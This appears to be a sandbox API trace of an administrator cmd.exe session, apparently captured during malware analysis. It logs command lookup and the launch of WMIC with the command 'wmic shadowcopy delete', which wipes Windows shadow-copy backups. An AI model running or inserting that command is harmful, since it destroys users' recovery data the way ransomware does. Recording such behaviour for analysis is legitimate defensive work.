[0129.019] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a68da0) returned 1 [0129.019] _wcsicmp (_String1="wmic", _String2=")") returned 78 [0129.019] _wcsicmp (_String1="FOR", _String2="wmic") returned -17 [0129.019] _wcsicmp (_String1="FOR/?", _String2="wmic") returned -17 [0129.019] _wcsicmp (_String1="IF", _String2="wmic") returned -14 [0129.019] _wcsicmp (_String1="IF/?", _String2="wmic") returned -14 [0129.019] _wcsicmp (_String1="REM", _String2="wmic") returned -5 [0129.019] _wcsicmp (_String1="REM/?", _String2="wmic") returned -5 [0129.019] GetProcessHeap () returned 0x20992a60000 [0129.019] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xb0) returned 0x20992a66910 [0129.019] GetProcessHeap () returned 0x20992a60000 [0129.019] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x1a) returned 0x20992a65da0 [0129.020] GetProcessHeap () returned 0x20992a60000 [0129.020] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x36) returned 0x20992a65e60 [0129.020] GetConsoleOutputCP () returned 0x1b5 [0129.021] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6c4f3fbb0 | out: lpCPInfo=0x7ff6c4f3fbb0) returned 1 [0129.021] SetThreadUILanguage (LangId=0x0) returned 0x409 [0129.021] GetConsoleTitleW (in: lpConsoleTitle=0x158ecffa30, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0129.022] malloc (_Size=0xffce) returned 0x20992c50840 [0129.022] ??_V@YAXPEAX@Z () returned 0x20992c50840 [0129.022] malloc (_Size=0xffce) returned 0x20992c60820 [0129.022] ??_V@YAXPEAX@Z () returned 0x20992c60820 [0129.022] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0129.022] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0129.022] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0129.022] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0129.022] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0129.022] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0129.022] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0129.022] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0129.022] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0129.022] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0129.022] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0129.022] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0129.022] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0129.022] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0129.022] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0129.022] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0129.022] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0129.022] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0129.022] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0129.022] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0129.022] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0129.023] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0129.023] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0129.023] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0129.023] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0129.023] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0129.023] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0129.023] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0129.023] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0129.023] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0129.023] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0129.023] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0129.023] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0129.023] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0129.023] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0129.023] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0129.023] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0129.023] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0129.023] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0129.023] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0129.023] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0129.023] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0129.023] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0129.023] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0129.023] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0129.023] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0129.023] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0129.023] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0129.023] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0129.023] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0129.023] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0129.023] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0129.023] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0129.023] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0129.023] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0129.024] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0129.024] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0129.024] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0129.024] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0129.024] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0129.024] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0129.024] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0129.024] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0129.024] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0129.024] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0129.024] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0129.024] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0129.024] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0129.024] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0129.024] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0129.024] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0129.024] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0129.024] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0129.024] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0129.024] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0129.024] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0129.024] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0129.024] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0129.024] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0129.024] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0129.024] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0129.024] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0129.024] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0129.024] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0129.024] _wcsicmp (_String1="wmic", _String2="FOR") returned 17 [0129.024] _wcsicmp (_String1="wmic", _String2="IF") returned 14 [0129.024] _wcsicmp (_String1="wmic", _String2="REM") returned 5 [0129.025] ??_V@YAXPEAX@Z () returned 0x1 [0129.025] GetProcessHeap () returned 0x20992a60000 [0129.025] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xffde) returned 0x20992a68da0 [0129.026] GetProcessHeap () returned 0x20992a60000 [0129.026] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x40) returned 0x20992a669d0 [0129.026] _wcsnicmp (_String1="wmic", _String2="cmd ", _MaxCount=0x4) returned 20 [0129.026] malloc (_Size=0xffce) returned 0x20992c60820 [0129.026] ??_V@YAXPEAX@Z () returned 0x20992c60820 [0129.026] GetProcessHeap () returned 0x20992a60000 [0129.026] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x1ffac) returned 0x20992a7c100 [0129.028] SetErrorMode (uMode=0x0) returned 0x0 [0129.028] SetErrorMode (uMode=0x1) returned 0x0 [0129.028] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20992a7c110, lpFilePart=0x158ecff2b0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x158ecff2b0*="system32") returned 0x13 [0129.028] SetErrorMode (uMode=0x0) returned 0x1 [0129.028] GetProcessHeap () returned 0x20992a60000 [0129.028] RtlReAllocateHeap (Heap=0x20992a60000, Flags=0x0, Ptr=0x20992a7c100, Size=0x42) returned 0x20992a7c100 [0129.028] GetProcessHeap () returned 0x20992a60000 [0129.028] RtlSizeHeap (HeapHandle=0x20992a60000, Flags=0x0, MemoryPointer=0x20992a7c100) returned 0x42 [0129.028] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0129.028] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0129.028] GetProcessHeap () returned 0x20992a60000 [0129.028] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x1b4) returned 0x20992a78d90 [0129.028] GetProcessHeap () returned 0x20992a60000 [0129.028] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x358) returned 0x20992a78f50 [0129.028] GetProcessHeap () returned 0x20992a60000 [0129.028] RtlReAllocateHeap (Heap=0x20992a60000, Flags=0x0, Ptr=0x20992a78f50, Size=0x1b6) returned 0x20992a78f50 [0129.028] GetProcessHeap () returned 0x20992a60000 [0129.028] RtlSizeHeap (HeapHandle=0x20992a60000, Flags=0x0, MemoryPointer=0x20992a78f50) returned 0x1b6 [0129.028] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0129.028] GetProcessHeap () returned 0x20992a60000 [0129.028] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xe8) returned 0x20992a66a20 [0129.028] GetProcessHeap () returned 0x20992a60000 [0129.029] RtlReAllocateHeap (Heap=0x20992a60000, Flags=0x0, Ptr=0x20992a66a20, Size=0x7e) returned 0x20992a66a20 [0129.029] GetProcessHeap () returned 0x20992a60000 [0129.029] RtlSizeHeap (HeapHandle=0x20992a60000, Flags=0x0, MemoryPointer=0x20992a66a20) returned 0x7e [0129.029] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0129.029] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x158ecff020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x158ecff020) returned 0xffffffffffffffff [0129.029] GetLastError () returned 0x2 [0129.029] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0129.029] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x158ecff020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x158ecff020) returned 0xffffffffffffffff [0129.031] GetLastError () returned 0x2 [0129.031] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0129.031] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x158ecff020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x158ecff020) returned 0xffffffffffffffff [0129.032] GetLastError () returned 0x2 [0129.032] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0129.032] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x158ecff020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x158ecff020) returned 0xffffffffffffffff [0129.032] GetLastError () returned 0x2 [0129.032] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0129.032] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x158ecff020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x158ecff020) returned 0x20992a66ab0 [0129.032] FindClose (in: hFindFile=0x20992a66ab0 | out: hFindFile=0x20992a66ab0) returned 1 [0129.032] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\WMIC.COM", fInfoLevelId=0x1, lpFindFileData=0x158ecff020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x158ecff020) returned 0xffffffffffffffff [0129.032] GetLastError () returned 0x2 [0129.032] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\WMIC.EXE", fInfoLevelId=0x1, lpFindFileData=0x158ecff020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x158ecff020) returned 0x20992a66ab0 [0129.032] FindClose (in: hFindFile=0x20992a66ab0 | out: hFindFile=0x20992a66ab0) returned 1 [0129.032] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0129.032] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0129.033] ??_V@YAXPEAX@Z () returned 0x1 [0129.033] GetConsoleTitleW (in: lpConsoleTitle=0x158ecff5a0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0129.035] GetProcessHeap () returned 0x20992a60000 [0129.035] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x21c) returned 0x20992a79120 [0129.035] GetConsoleTitleW (in: lpConsoleTitle=0x20992a79130, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0129.035] GetProcessHeap () returned 0x20992a60000 [0129.036] RtlReAllocateHeap (Heap=0x20992a60000, Flags=0x0, Ptr=0x20992a79120, Size=0xa8) returned 0x20992a79120 [0129.036] GetProcessHeap () returned 0x20992a60000 [0129.036] RtlSizeHeap (HeapHandle=0x20992a60000, Flags=0x0, MemoryPointer=0x20992a79120) returned 0xa8 [0129.036] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - wmic shadowcopy delete") returned 1 [0129.037] GetProcessHeap () returned 0x20992a60000 [0129.037] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a79120) returned 1 [0129.037] InitializeProcThreadAttributeList (in: lpAttributeList=0x158ecff4c0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x158ecff3b0 | out: lpAttributeList=0x158ecff4c0, lpSize=0x158ecff3b0) returned 1 [0129.037] UpdateProcThreadAttribute (in: lpAttributeList=0x158ecff4c0, dwFlags=0x0, Attribute=0x60001, lpValue=0x158ecff39c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x158ecff4c0, lpPreviousValue=0x0) returned 1 [0129.037] GetStartupInfoW (in: lpStartupInfo=0x158ecff450 | out: lpStartupInfo=0x158ecff450*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0129.037] GetProcessHeap () returned 0x20992a60000 [0129.037] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x20) returned 0x20992a65bb0 [0129.037] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0129.037] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0129.037] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0129.037] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0129.037] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0129.037] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0129.038] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0129.038] GetProcessHeap () returned 0x20992a60000 [0129.038] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a65bb0) returned 1 [0129.038] GetProcessHeap () returned 0x20992a60000 [0129.038] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x12) returned 0x20992a65bb0 [0129.038] _get_osfhandle (_FileHandle=1) returned 0x254 [0129.039] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0129.039] _get_osfhandle (_FileHandle=0) returned 0x248 [0129.039] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0129.039] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\System32\\Wbem\\WMIC.exe", lpCommandLine="wmic shadowcopy delete", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x158ecff3e0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="wmic shadowcopy delete", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x158ecff3b8 | out: lpCommandLine="wmic shadowcopy delete", lpProcessInformation=0x158ecff3b8*(hProcess=0x94, hThread=0x98, dwProcessId=0xfc4, dwThreadId=0xfc8)) returned 1 [0129.057] CloseHandle (hObject=0x98) returned 1 [0129.057] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0129.057] GetProcessHeap () returned 0x20992a60000 [0129.057] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a7b600) returned 1 [0129.058] GetEnvironmentStringsW () returned 0x20992a7ab00* [0129.058] GetProcessHeap () returned 0x20992a60000 [0129.058] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xaea) returned 0x20992a7b600 [0129.058] FreeEnvironmentStringsA (penv="=") returned 1 [0129.058] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0x158ecfe8b8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x158ecfe8b8, ReturnLength=0x0) returned 0x0 [0129.058] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0xc295775000, lpBuffer=0x158ecfe8f0, nSize=0x7a0, lpNumberOfBytesRead=0x158ecfe8b0 | out: lpBuffer=0x158ecfe8f0*, lpNumberOfBytesRead=0x158ecfe8b0*=0x7a0) returned 1 [0129.058] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0130.792] GetExitCodeProcess (in: hProcess=0x94, lpExitCode=0x158ecff338 | out: lpExitCode=0x158ecff338*=0x80041014) returned 1 [0130.792] CloseHandle (hObject=0x94) returned 1 [0130.792] _vsnwprintf (in: _Buffer=0x158ecff508, _BufferCount=0x13, _Format="%08X", _ArgList=0x158ecff348 | out: _Buffer="80041014") returned 8 [0130.793] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="80041014") returned 1 [0130.793] GetProcessHeap () returned 0x20992a60000 [0130.793] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a7b600) returned 1 [0130.793] GetEnvironmentStringsW () returned 0x20992a7ab00* [0130.793] GetProcessHeap () returned 0x20992a60000 [0130.793] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xaea) returned 0x20992a7b600 [0130.793] FreeEnvironmentStringsA (penv="=") returned 1 [0130.793] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0130.793] GetProcessHeap () returned 0x20992a60000 [0130.793] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a7b600) returned 1 [0130.793] GetEnvironmentStringsW () returned 0x20992a7ab00* [0130.793] GetProcessHeap () returned 0x20992a60000 [0130.793] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xaea) returned 0x20992a7b600 [0130.793] FreeEnvironmentStringsA (penv="=") returned 1 [0130.793] GetProcessHeap () returned 0x20992a60000 [0130.793] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a65bb0) returned 1 [0130.793] DeleteProcThreadAttributeList (in: lpAttributeList=0x158ecff4c0 | out: lpAttributeList=0x158ecff4c0) [0130.793] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0130.794] ??_V@YAXPEAX@Z () returned 0x1 [0130.794] _get_osfhandle (_FileHandle=1) returned 0x254 [0130.794] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0130.794] _get_osfhandle (_FileHandle=1) returned 0x254 [0130.794] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff6c4f3fc08 | out: lpMode=0x7ff6c4f3fc08) returned 0 [0130.794] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.794] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff6c4f3fc0c | out: lpMode=0x7ff6c4f3fc0c) returned 0 [0130.794] GetConsoleOutputCP () returned 0x1b5 [0130.795] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6c4f3fbb0 | out: lpCPInfo=0x7ff6c4f3fbb0) returned 1 [0130.795] SetThreadUILanguage (LangId=0x0) returned 0x409 [0130.795] GetProcessHeap () returned 0x20992a60000 [0130.795] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a66a20) returned 1 [0130.795] GetProcessHeap () returned 0x20992a60000 [0130.795] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a78f50) returned 1 [0130.795] GetProcessHeap () returned 0x20992a60000 [0130.795] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a78d90) returned 1 [0130.795] GetProcessHeap () returned 0x20992a60000 [0130.795] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a7c100) returned 1 [0130.796] GetProcessHeap () returned 0x20992a60000 [0130.796] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a669d0) returned 1 [0130.796] GetProcessHeap () returned 0x20992a60000 [0130.796] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a68da0) returned 1 [0130.796] GetProcessHeap () returned 0x20992a60000 [0130.796] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a65e60) returned 1 [0130.796] GetProcessHeap () returned 0x20992a60000 [0130.796] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a65da0) returned 1 [0130.796] GetProcessHeap () returned 0x20992a60000 [0130.796] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a66910) returned 1 [0130.796] _vsnwprintf (in: _Buffer=0x7ff6c4f47f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x158ecff8e8 | out: _Buffer="\r\n") returned 2 [0130.796] _get_osfhandle (_FileHandle=1) returned 0x254 [0130.796] GetFileType (hFile=0x254) returned 0x3 [0130.796] _get_osfhandle (_FileHandle=1) returned 0x254 [0130.796] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0130.796] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x158ecff8b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0x158ecff8b8*=0x2, lpOverlapped=0x0) returned 1 [0130.796] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0130.796] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20992c30080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0130.796] _vsnwprintf (in: _Buffer=0x20992c40060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x158ecff8f8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 